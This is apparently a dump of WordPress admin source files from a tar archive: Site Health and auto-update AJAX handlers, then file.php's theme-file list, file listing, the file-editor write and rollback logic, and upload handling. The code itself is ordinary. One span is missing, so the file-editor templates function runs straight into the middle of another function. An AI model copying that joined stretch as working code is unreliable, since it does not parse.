__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
'wp_ajax_health_check_dotorg_communication',
'WP_REST_Site_Health_Controller::test_dotorg_communication'
),
'5.6.0'
);
check_ajax_referer( 'health-check-site-status' );
if ( ! current_user_can( 'view_site_health_checks' ) ) {
wp_send_json_error();
}
if ( ! class_exists( 'WP_Site_Health' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
$site_health = WP_Site_Health::get_instance();
wp_send_json_success( $site_health->get_test_dotorg_communication() );
}
/**
* Handles site health checks on background updates via AJAX.
*
* @since 5.2.0
* @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_background_updates()
* @see WP_REST_Site_Health_Controller::test_background_updates()
*/
function wp_ajax_health_check_background_updates() {
_doing_it_wrong(
'wp_ajax_health_check_background_updates',
sprintf(
// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
'wp_ajax_health_check_background_updates',
'WP_REST_Site_Health_Controller::test_background_updates'
),
'5.6.0'
);
check_ajax_referer( 'health-check-site-status' );
if ( ! current_user_can( 'view_site_health_checks' ) ) {
wp_send_json_error();
}
if ( ! class_exists( 'WP_Site_Health' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
$site_health = WP_Site_Health::get_instance();
wp_send_json_success( $site_health->get_test_background_updates() );
}
/**
* Handles site health checks on loopback requests via AJAX.
*
* @since 5.2.0
* @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_loopback_requests()
* @see WP_REST_Site_Health_Controller::test_loopback_requests()
*/
function wp_ajax_health_check_loopback_requests() {
_doing_it_wrong(
'wp_ajax_health_check_loopback_requests',
sprintf(
// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
'wp_ajax_health_check_loopback_requests',
'WP_REST_Site_Health_Controller::test_loopback_requests'
),
'5.6.0'
);
check_ajax_referer( 'health-check-site-status' );
if ( ! current_user_can( 'view_site_health_checks' ) ) {
wp_send_json_error();
}
if ( ! class_exists( 'WP_Site_Health' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
$site_health = WP_Site_Health::get_instance();
wp_send_json_success( $site_health->get_test_loopback_requests() );
}
/**
* Handles site health check to update the result status via AJAX.
*
* @since 5.2.0
*/
function wp_ajax_health_check_site_status_result() {
check_ajax_referer( 'health-check-site-status-result' );
if ( ! current_user_can( 'view_site_health_checks' ) ) {
wp_send_json_error();
}
set_transient( 'health-check-site-status-result', wp_json_encode( $_POST['counts'] ) );
wp_send_json_success();
}
/**
* Handles site health check to get directories and database sizes via AJAX.
*
* @since 5.2.0
* @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::get_directory_sizes()
* @see WP_REST_Site_Health_Controller::get_directory_sizes()
*/
function wp_ajax_health_check_get_sizes() {
_doing_it_wrong(
'wp_ajax_health_check_get_sizes',
sprintf(
// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
'wp_ajax_health_check_get_sizes',
'WP_REST_Site_Health_Controller::get_directory_sizes'
),
'5.6.0'
);
check_ajax_referer( 'health-check-site-status-result' );
if ( ! current_user_can( 'view_site_health_checks' ) || is_multisite() ) {
wp_send_json_error();
}
if ( ! class_exists( 'WP_Debug_Data' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
}
$sizes_data = WP_Debug_Data::get_sizes();
$all_sizes = array( 'raw' => 0 );
foreach ( $sizes_data as $name => $value ) {
$name = sanitize_text_field( $name );
$data = array();
if ( isset( $value['size'] ) ) {
if ( is_string( $value['size'] ) ) {
$data['size'] = sanitize_text_field( $value['size'] );
} else {
$data['size'] = (int) $value['size'];
}
}
if ( isset( $value['debug'] ) ) {
if ( is_string( $value['debug'] ) ) {
$data['debug'] = sanitize_text_field( $value['debug'] );
} else {
$data['debug'] = (int) $value['debug'];
}
}
if ( ! empty( $value['raw'] ) ) {
$data['raw'] = (int) $value['raw'];
}
$all_sizes[ $name ] = $data;
}
if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
wp_send_json_error( $all_sizes );
}
wp_send_json_success( $all_sizes );
}
/**
* Handles renewing the REST API nonce via AJAX.
*
* @since 5.3.0
*/
function wp_ajax_rest_nonce() {
exit( wp_create_nonce( 'wp_rest' ) );
}
/**
* Handles enabling or disable plugin and theme auto-updates via AJAX.
*
* @since 5.5.0
*/
function wp_ajax_toggle_auto_updates() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['type'] ) || empty( $_POST['asset'] ) || empty( $_POST['state'] ) ) {
wp_send_json_error( array( 'error' => __( 'Invalid data. No selected item.' ) ) );
}
$asset = sanitize_text_field( urldecode( $_POST['asset'] ) );
if ( 'enable' !== $_POST['state'] && 'disable' !== $_POST['state'] ) {
wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown state.' ) ) );
}
$state = $_POST['state'];
if ( 'plugin' !== $_POST['type'] && 'theme' !== $_POST['type'] ) {
wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
}
$type = $_POST['type'];
switch ( $type ) {
case 'plugin':
if ( ! current_user_can( 'update_plugins' ) ) {
$error_message = __( 'Sorry, you are not allowed to modify plugins.' );
wp_send_json_error( array( 'error' => $error_message ) );
}
$option = 'auto_update_plugins';
/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
$all_items = apply_filters( 'all_plugins', get_plugins() );
break;
case 'theme':
if ( ! current_user_can( 'update_themes' ) ) {
$error_message = __( 'Sorry, you are not allowed to modify themes.' );
wp_send_json_error( array( 'error' => $error_message ) );
}
$option = 'auto_update_themes';
$all_items = wp_get_themes();
break;
default:
wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
}
if ( ! array_key_exists( $asset, $all_items ) ) {
$error_message = __( 'Invalid data. The item does not exist.' );
wp_send_json_error( array( 'error' => $error_message ) );
}
$auto_updates = (array) get_site_option( $option, array() );
if ( 'disable' === $state ) {
$auto_updates = array_diff( $auto_updates, array( $asset ) );
} else {
$auto_updates[] = $asset;
$auto_updates = array_unique( $auto_updates );
}
// Remove items that have been deleted since the site option was last updated.
$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );
update_site_option( $option, $auto_updates );
wp_send_json_success();
}
/**
* Handles sending a password reset link via AJAX.
*
* @since 5.7.0
*/
function wp_ajax_send_password_reset() {
// Validate the nonce for this action.
$user_id = isset( $_POST['user_id'] ) ? (int) $_POST['user_id'] : 0;
check_ajax_referer( 'reset-password-for-' . $user_id, 'nonce' );
// Verify user capabilities.
if ( ! current_user_can( 'edit_user', $user_id ) ) {
wp_send_json_error( __( 'Cannot send password reset, permission denied.' ) );
}
// Send the password reset link.
$user = get_userdata( $user_id );
$results = retrieve_password( $user->user_login );
if ( true === $results ) {
wp_send_json_success(
/* translators: %s: User's display name. */
sprintf( __( 'A password reset link was emailed to %s.' ), $user->display_name )
);
} else {
wp_send_json_error( $results->get_error_message() );
}
}
file.php 0000644 00000276277 14757313107 0006231 0 ustar 00 __( 'Theme Functions' ),
'header.php' => __( 'Theme Header' ),
'footer.php' => __( 'Theme Footer' ),
'sidebar.php' => __( 'Sidebar' ),
'comments.php' => __( 'Comments' ),
'searchform.php' => __( 'Search Form' ),
'404.php' => __( '404 Template' ),
'link.php' => __( 'Links Template' ),
'theme.json' => __( 'Theme Styles & Block Settings' ),
// Archives.
'index.php' => __( 'Main Index Template' ),
'archive.php' => __( 'Archives' ),
'author.php' => __( 'Author Template' ),
'taxonomy.php' => __( 'Taxonomy Template' ),
'category.php' => __( 'Category Template' ),
'tag.php' => __( 'Tag Template' ),
'home.php' => __( 'Posts Page' ),
'search.php' => __( 'Search Results' ),
'date.php' => __( 'Date Template' ),
// Content.
'singular.php' => __( 'Singular Template' ),
'single.php' => __( 'Single Post' ),
'page.php' => __( 'Single Page' ),
'front-page.php' => __( 'Homepage' ),
'privacy-policy.php' => __( 'Privacy Policy Page' ),
// Attachments.
'attachment.php' => __( 'Attachment Template' ),
'image.php' => __( 'Image Attachment Template' ),
'video.php' => __( 'Video Attachment Template' ),
'audio.php' => __( 'Audio Attachment Template' ),
'application.php' => __( 'Application Attachment Template' ),
// Embeds.
'embed.php' => __( 'Embed Template' ),
'embed-404.php' => __( 'Embed 404 Template' ),
'embed-content.php' => __( 'Embed Content Template' ),
'header-embed.php' => __( 'Embed Header Template' ),
'footer-embed.php' => __( 'Embed Footer Template' ),
// Stylesheets.
'style.css' => __( 'Stylesheet' ),
'editor-style.css' => __( 'Visual Editor Stylesheet' ),
'editor-style-rtl.css' => __( 'Visual Editor RTL Stylesheet' ),
'rtl.css' => __( 'RTL Stylesheet' ),
// Other.
'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ),
'.htaccess' => __( '.htaccess (for rewrite rules )' ),
// Deprecated files.
'wp-layout.css' => __( 'Stylesheet' ),
'wp-comments.php' => __( 'Comments Template' ),
'wp-comments-popup.php' => __( 'Popup Comments Template' ),
'comments-popup.php' => __( 'Popup Comments' ),
);
/**
* Gets the description for standard WordPress theme files.
*
* @since 1.5.0
*
* @global array $wp_file_descriptions Theme file descriptions.
* @global array $allowed_files List of allowed files.
*
* @param string $file Filesystem path or filename.
* @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist.
* Appends 'Page Template' to basename of $file if the file is a page template.
*/
function get_file_description( $file ) {
global $wp_file_descriptions, $allowed_files;
$dirname = pathinfo( $file, PATHINFO_DIRNAME );
$file_path = $allowed_files[ $file ];
if ( isset( $wp_file_descriptions[ basename( $file ) ] ) && '.' === $dirname ) {
return $wp_file_descriptions[ basename( $file ) ];
} elseif ( file_exists( $file_path ) && is_file( $file_path ) ) {
$template_data = implode( '', file( $file_path ) );
if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) {
/* translators: %s: Template name. */
return sprintf( __( '%s Page Template' ), _cleanup_header_comment( $name[1] ) );
}
}
return trim( basename( $file ) );
}
/**
* Gets the absolute filesystem path to the root of the WordPress installation.
*
* @since 1.5.0
*
* @return string Full filesystem path to the root of the WordPress installation.
*/
function get_home_path() {
$home = set_url_scheme( get_option( 'home' ), 'http' );
$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );
if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
$pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
$home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
$home_path = trailingslashit( $home_path );
} else {
$home_path = ABSPATH;
}
return str_replace( '\\', '/', $home_path );
}
/**
* Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
*
* The depth of the recursiveness can be controlled by the $levels param.
*
* @since 2.6.0
* @since 4.9.0 Added the `$exclusions` parameter.
* @since 6.3.0 Added the `$include_hidden` parameter.
*
* @param string $folder Optional. Full path to folder. Default empty.
* @param int $levels Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
* @param string[] $exclusions Optional. List of folders and files to skip.
* @param bool $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
* Default false.
* @return string[]|false Array of files on success, false on failure.
*/
function list_files( $folder = '', $levels = 100, $exclusions = array(), $include_hidden = false ) {
if ( empty( $folder ) ) {
return false;
}
$folder = trailingslashit( $folder );
if ( ! $levels ) {
return false;
}
$files = array();
$dir = @opendir( $folder );
if ( $dir ) {
while ( ( $file = readdir( $dir ) ) !== false ) {
// Skip current and parent folder links.
if ( in_array( $file, array( '.', '..' ), true ) ) {
continue;
}
// Skip hidden and excluded files.
if ( ( ! $include_hidden && '.' === $file[0] ) || in_array( $file, $exclusions, true ) ) {
continue;
}
if ( is_dir( $folder . $file ) ) {
$files2 = list_files( $folder . $file, $levels - 1, array(), $include_hidden );
if ( $files2 ) {
$files = array_merge( $files, $files2 );
} else {
$files[] = $folder . $file . '/';
}
} else {
$files[] = $folder . $file;
}
}
closedir( $dir );
}
return $files;
}
/**
* Gets the list of file extensions that are editable in plugins.
*
* @since 4.9.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return string[] Array of editable file extensions.
*/
function wp_get_plugin_file_editable_extensions( $plugin ) {
$default_types = array(
'bash',
'conf',
'css',
'diff',
'htm',
'html',
'http',
'inc',
'include',
'js',
'json',
'jsx',
'less',
'md',
'patch',
'php',
'php3',
'php4',
'php5',
'php7',
'phps',
'phtml',
'sass',
'scss',
'sh',
'sql',
'svg',
'text',
'txt',
'xml',
'yaml',
'yml',
);
/**
* Filters the list of file types allowed for editing in the plugin file editor.
*
* @since 2.8.0
* @since 4.9.0 Added the `$plugin` parameter.
*
* @param string[] $default_types An array of editable plugin file extensions.
* @param string $plugin Path to the plugin file relative to the plugins directory.
*/
$file_types = (array) apply_filters( 'editable_extensions', $default_types, $plugin );
return $file_types;
}
/**
* Gets the list of file extensions that are editable for a given theme.
*
* @since 4.9.0
*
* @param WP_Theme $theme Theme object.
* @return string[] Array of editable file extensions.
*/
function wp_get_theme_file_editable_extensions( $theme ) {
$default_types = array(
'bash',
'conf',
'css',
'diff',
'htm',
'html',
'http',
'inc',
'include',
'js',
'json',
'jsx',
'less',
'md',
'patch',
'php',
'php3',
'php4',
'php5',
'php7',
'phps',
'phtml',
'sass',
'scss',
'sh',
'sql',
'svg',
'text',
'txt',
'xml',
'yaml',
'yml',
);
/**
* Filters the list of file types allowed for editing in the theme file editor.
*
* @since 4.4.0
*
* @param string[] $default_types An array of editable theme file extensions.
* @param WP_Theme $theme The active theme object.
*/
$file_types = apply_filters( 'wp_theme_editor_filetypes', $default_types, $theme );
// Ensure that default types are still there.
return array_unique( array_merge( $file_types, $default_types ) );
}
/**
* Prints file editor templates (for plugins and themes).
*
* @since 4.9.0
*/
function wp_print_file_editor_templates() {
?>
exists() ) {
return new WP_Error( 'non_existent_theme', __( 'The requested theme does not exist.' ) );
}
if ( ! wp_verify_nonce( $args['nonce'], 'edit-theme_' . $stylesheet . '_' . $file ) ) {
return new WP_Error( 'nonce_failure' );
}
if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
return new WP_Error(
'theme_no_stylesheet',
__( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message()
);
}
$editable_extensions = wp_get_theme_file_editable_extensions( $theme );
$allowed_files = array();
foreach ( $editable_extensions as $type ) {
switch ( $type ) {
case 'php':
$allowed_files = array_merge( $allowed_files, $theme->get_files( 'php', -1 ) );
break;
case 'css':
$style_files = $theme->get_files( 'css', -1 );
$allowed_files['style.css'] = $style_files['style.css'];
$allowed_files = array_merge( $allowed_files, $style_files );
break;
default:
$allowed_files = array_merge( $allowed_files, $theme->get_files( $type, -1 ) );
break;
}
}
// Compare based on relative paths.
if ( 0 !== validate_file( $file, array_keys( $allowed_files ) ) ) {
return new WP_Error( 'disallowed_theme_file', __( 'Sorry, that file cannot be edited.' ) );
}
$real_file = $theme->get_stylesheet_directory() . '/' . $file;
$is_active = ( get_stylesheet() === $stylesheet || get_template() === $stylesheet );
} else {
return new WP_Error( 'missing_theme_or_plugin' );
}
// Ensure file is real.
if ( ! is_file( $real_file ) ) {
return new WP_Error( 'file_does_not_exist', __( 'File does not exist! Please double check the name and try again.' ) );
}
// Ensure file extension is allowed.
$extension = null;
if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
$extension = strtolower( $matches[1] );
if ( ! in_array( $extension, $editable_extensions, true ) ) {
return new WP_Error( 'illegal_file_type', __( 'Files of this type are not editable.' ) );
}
}
$previous_content = file_get_contents( $real_file );
if ( ! is_writable( $real_file ) ) {
return new WP_Error( 'file_not_writable' );
}
$f = fopen( $real_file, 'w+' );
if ( false === $f ) {
return new WP_Error( 'file_not_writable' );
}
$written = fwrite( $f, $content );
fclose( $f );
if ( false === $written ) {
return new WP_Error( 'unable_to_write', __( 'Unable to write to file.' ) );
}
wp_opcache_invalidate( $real_file, true );
if ( $is_active && 'php' === $extension ) {
$scrape_key = md5( rand() );
$transient = 'scrape_key_' . $scrape_key;
$scrape_nonce = (string) rand();
// It shouldn't take more than 60 seconds to make the two loopback requests.
set_transient( $transient, $scrape_nonce, 60 );
$cookies = wp_unslash( $_COOKIE );
$scrape_params = array(
'wp_scrape_key' => $scrape_key,
'wp_scrape_nonce' => $scrape_nonce,
);
$headers = array(
'Cache-Control' => 'no-cache',
);
/** This filter is documented in wp-includes/class-wp-http-streams.php */
$sslverify = apply_filters( 'https_local_ssl_verify', false );
// Include Basic auth in loopback requests.
if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
}
// Make sure PHP process doesn't die before loopback requests complete.
if ( function_exists( 'set_time_limit' ) ) {
set_time_limit( 5 * MINUTE_IN_SECONDS );
}
// Time to wait for loopback requests to finish.
$timeout = 100; // 100 seconds.
$needle_start = "###### wp_scraping_result_start:$scrape_key ######";
$needle_end = "###### wp_scraping_result_end:$scrape_key ######";
// Attempt loopback request to editor to see if user just whitescreened themselves.
if ( $plugin ) {
$url = add_query_arg( compact( 'plugin', 'file' ), admin_url( 'plugin-editor.php' ) );
} elseif ( isset( $stylesheet ) ) {
$url = add_query_arg(
array(
'theme' => $stylesheet,
'file' => $file,
),
admin_url( 'theme-editor.php' )
);
} else {
$url = admin_url();
}
if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
/*
* Close any active session to prevent HTTP requests from timing out
* when attempting to connect back to the site.
*/
session_write_close();
}
$url = add_query_arg( $scrape_params, $url );
$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
$body = wp_remote_retrieve_body( $r );
$scrape_result_position = strpos( $body, $needle_start );
$loopback_request_failure = array(
'code' => 'loopback_request_failed',
'message' => __( 'Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.' ),
);
$json_parse_failure = array(
'code' => 'json_parse_error',
);
$result = null;
if ( false === $scrape_result_position ) {
$result = $loopback_request_failure;
} else {
$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
$result = json_decode( trim( $error_output ), true );
if ( empty( $result ) ) {
$result = $json_parse_failure;
}
}
// Try making request to homepage as well to see if visitors have been whitescreened.
if ( true === $result ) {
$url = home_url( '/' );
$url = add_query_arg( $scrape_params, $url );
$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
$body = wp_remote_retrieve_body( $r );
$scrape_result_position = strpos( $body, $needle_start );
if ( false === $scrape_result_position ) {
$result = $loopback_request_failure;
} else {
$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
$result = json_decode( trim( $error_output ), true );
if ( empty( $result ) ) {
$result = $json_parse_failure;
}
}
}
delete_transient( $transient );
if ( true !== $result ) {
// Roll-back file change.
file_put_contents( $real_file, $previous_content );
wp_opcache_invalidate( $real_file, true );
if ( ! isset( $result['message'] ) ) {
$message = __( 'Something went wrong.' );
} else {
$message = $result['message'];
unset( $result['message'] );
}
return new WP_Error( 'php_error', $message, $result );
}
}
if ( $theme instanceof WP_Theme ) {
$theme->cache_delete();
}
return true;
}
/**
* Returns a filename of a temporary unique file.
*
* Please note that the calling function must delete or move the file.
*
* The filename is based off the passed parameter or defaults to the current unix timestamp,
* while the directory can either be passed as well, or by leaving it blank, default to a writable
* temporary directory.
*
* @since 2.6.0
*
* @param string $filename Optional. Filename to base the Unique file off. Default empty.
* @param string $dir Optional. Directory to store the file in. Default empty.
* @return string A writable filename.
*/
function wp_tempnam( $filename = '', $dir = '' ) {
if ( empty( $dir ) ) {
$dir = get_temp_dir();
}
if ( empty( $filename ) || in_array( $filename, array( '.', '/', '\\' ), true ) ) {
$filename = uniqid();
}
// Use the basename of the given file without the extension as the name for the temporary directory.
$temp_filename = basename( $filename );
$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );
// If the folder is falsey, use its parent directory name instead.
if ( ! $temp_filename ) {
return wp_tempnam( dirname( $filename ), $dir );
}
// Suffix some random data to avoid filename conflicts.
$temp_filename .= '-' . wp_generate_password( 6, false );
$temp_filename .= '.tmp';
$temp_filename = wp_unique_filename( $dir, $temp_filename );
/*
* Filesystems typically have a limit of 255 characters for a filename.
*
* If the generated unique filename exceeds this, truncate the initial
* filename and try again.
*
* As it's possible that the truncated filename may exist, producing a
* suffix of "-1" or "-10" which could exceed the limit again, truncate
* it to 252 instead.
*/
$characters_over_limit = strlen( $temp_filename ) - 252;
if ( $characters_over_limit > 0 ) {
$filename = substr( $filename, 0, -$characters_over_limit );
return wp_tempnam( $filename, $dir );
}
$temp_filename = $dir . $temp_filename;
$fp = @fopen( $temp_filename, 'x' );
if ( ! $fp && is_writable( $dir ) && file_exists( $temp_filename ) ) {
return wp_tempnam( $filename, $dir );
}
if ( $fp ) {
fclose( $fp );
}
return $temp_filename;
}
/**
* Makes sure that the file that was requested to be edited is allowed to be edited.
*
* Function will die if you are not allowed to edit the file.
*
* @since 1.5.0
*
* @param string $file File the user is attempting to edit.
* @param string[] $allowed_files Optional. Array of allowed files to edit.
* `$file` must match an entry exactly.
* @return string|void Returns the file name on success, dies on failure.
*/
function validate_file_to_edit( $file, $allowed_files = array() ) {
$code = validate_file( $file, $allowed_files );
if ( ! $code ) {
return $file;
}
switch ( $code ) {
case 1:
wp_die( __( 'Sorry, that file cannot be edited.' ) );
// case 2 :
// wp_die( __('Sorry, cannot call files with their real path.' ));
case 3:
wp_die( __( 'Sorry, that file cannot be edited.' ) );
}
}
/**
* Handles PHP uploads in WordPress.
*
* Sanitizes file names, checks extensions for mime type, and moves the file
* to the appropriate directory within the uploads directory.
*
* @access private
* @since 4.0.0
*
* @see wp_handle_upload_error
*
* @param array $file {
* Reference to a single element from `$_FILES`. Call the function once for each uploaded file.
*
* @type string $name The original name of the file on the client machine.
* @type string $type The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $size The size, in bytes, of the uploaded file.
* @type int $error The error code associated with this file upload.
* }
* @param array|false $overrides {
* An array of override parameters for this file, or boolean false if none are provided.
*
* @type callable $upload_error_handler Function to call when there is an error during the upload process.
* See {@see wp_handle_upload_error()}.
* @type callable $unique_filename_callback Function to call when determining a unique file name for the file.
* See {@see wp_unique_filename()}.
* @type string[] $upload_error_strings The strings that describe the error indicated in
* `$_FILES[{form field}]['error']`.
* @type bool $test_form Whether to test that the `$_POST['action']` parameter is as expected.
* @type bool $test_size Whether to test that the file size is greater than zero bytes.
* @type bool $test_type Whether to test that the mime type of the file is as expected.
* @type string[] $mimes Array of allowed mime types keyed by their file extension regex.
* }
* @param string $time Time formatted in 'yyyy/mm'.
* @param string $action Expected value for `$_POST['action']`.
* @return array {
* On success, returns an associative array of file attributes.
* On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
* or `array( 'error' => $message )`.
*
* @type string $file Filename of the newly-uploaded file.
* @type string $url URL of the newly-uploaded file.
* @type string $type Mime type of the newly-uploaded file.
* }
*/
function _wp_handle_upload( &$file, $overrides, $time, $action ) {
// The default error handler.
if ( ! function_exists( 'wp_handle_upload_error' ) ) {
function wp_handle_upload_error( &$file, $message ) {
return array( 'error' => $message );
}
}
/**
* Filters the data for a file before it is uploaded to WordPress.
*
* The dynamic portion of the hook name, `$action`, refers to the post action.
*
* Possible hook names include:
*
* - `wp_handle_sideload_prefilter`
* - `wp_handle_upload_prefilter`
*
* @since 2.9.0 as 'wp_handle_upload_prefilter'.
* @since 4.0.0 Converted to a dynamic hook with `$action`.
*
* @param array $file {
* Reference to a single element from `$_FILES`.
*
* @type string $name The original name of the file on the client machine.
* @type string $type The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $size The size, in bytes, of the uploaded file.
* @type int $error The error code associated with this file upload.
* }
*/
$file = apply_filters( "{$action}_prefilter", $file );
/**
* Filters the override parameters for a file before it is uploaded to WordPress.
*
* The dynamic portion of the hook name, `$action`, refers to the post action.
*
* Possible hook names include:
*
* - `wp_handle_sideload_overrides`
* - `wp_handle_upload_overrides`
*
* @since 5.7.0
*
* @param array|false $overrides An array of override parameters for this file. Boolean false if none are
* provided. See {@see _wp_handle_upload()}.
* @param array $file {
* Reference to a single element from `$_FILES`.
*
* @type string $name The original name of the file on the client machine.
* @type string $type The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $size The size, in bytes, of the uploaded file.
* @type int $error The error code associated with this file upload.
* }
*/
$overrides = apply_filters( "{$action}_overrides", $overrides, $file );
// You may define your own function and pass the name in $overrides['upload_error_handler'].
$upload_error_handler = 'wp_handle_upload_error';
if ( isset( $overrides['upload_error_handler'] ) ) {
$upload_error_handler = $overrides['upload_error_handler'];
}
// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
return call_user_func_array( $upload_error_handler, array( &$file, $file['error'] ) );
}
// Install user overrides. Did we mention that this voids your warranty?
// You may define your own function and pass the name in $overrides['unique_filename_callback'].
$unique_filename_callback = null;
if ( isset( $overrides['unique_filename_callback'] ) ) {
$unique_filename_callback = $overrides['unique_filename_callback'];
}
/*
* This may not have originally been intended to be overridable,
* but historically has been.
*/
if ( isset( $overrides['upload_error_strings'] ) ) {
$upload_error_strings = $overrides['upload_error_strings'];
} else {
// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
$upload_error_strings = array(
false,
sprintf(
/* translators: 1: upload_max_filesize, 2: php.ini */
__( 'The uploaded file exceeds the %1$s directive in %2$s.' ),
'upload_max_filesize',
'php.ini'
),
sprintf(
/* translators: %s: MAX_FILE_SIZE */
__( 'The uploaded file exceeds the %s directive that was specified in the HTML form.' ),
'MAX_FILE_SIZE'
),
__( 'The uploaded file was only partially uploaded.' ),
__( 'No file was uploaded.' ),
'',
__( 'Missing a temporary folder.' ),
__( 'Failed to write file to disk.' ),
__( 'File upload stopped by extension.' ),
);
}
// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;
// If you override this, you must provide $ext and $type!!
$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
$mimes = isset( $overrides['mimes'] ) ? $overrides['mimes'] : null;
// A correct form post will pass this test.
if ( $test_form && ( ! isset( $_POST['action'] ) || $_POST['action'] !== $action ) ) {
return call_user_func_array( $upload_error_handler, array( &$file, __( 'Invalid form submission.' ) ) );
}
// A successful upload will pass this test. It makes no sense to override this one.
if ( isset( $file['error'] ) && $file['error'] > 0 ) {
return call_user_func_array( $upload_error_handler, array( &$file, $upload_error_strings[ $file['error'] ] ) );
}
// A properly uploaded file will pass this test. There should be no reason to override this one.
$test_uploaded_file = 'wp_handle_upload' === $action ? is_uploaded_file( $file['tmp_name'] ) : @is_readable( $file['tmp_name'] );
if ( ! $test_uploaded_file ) {
return call_user_func_array( $upload_error_handler, array( &$file, __( 'Specified file failed upload test.' ) ) );
}
$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
// A non-empty file will pass this test.
if ( $test_size && ! ( $test_file_size > 0 ) ) {
if ( is_multisite() ) {
$error_msg = __( 'File is empty. Please upload something more substantial.' );
} else {
$error_msg = sprintf(
/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
'php.ini',
'post_max_size',
'upload_max_filesize'
);
}
return call_user_func_array( $upload_error_handler, array( &$file, $error_msg ) );
}
// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
if ( $test_type ) {
$wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
$ext = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
$type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];
// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect.
if ( $proper_filename ) {
$file['name'] = $proper_filename;
}
if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, you are not allowed to upload this file type.' ) ) );
}
if ( ! $type ) {
$type = $file['type'];
}
} else {
$type = '';
}
/*
* A writable uploads dir will pass this test. Again, there's no point
* overriding this one.
*/
$uploads = wp_upload_dir( $time );
if ( ! ( $uploads && false === $uploads['error'] ) ) {
return call_user_func_array( $upload_error_handler, array( &$file, $uploads['error'] ) );
}
$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );
// Move the file to the uploads dir.
$new_file = $uploads['path'] . "/$filename";
/**
* Filters whether to short-circuit moving the uploaded file after passing all checks.
*
* If a non-null value is returned from the filter, moving the file and any related
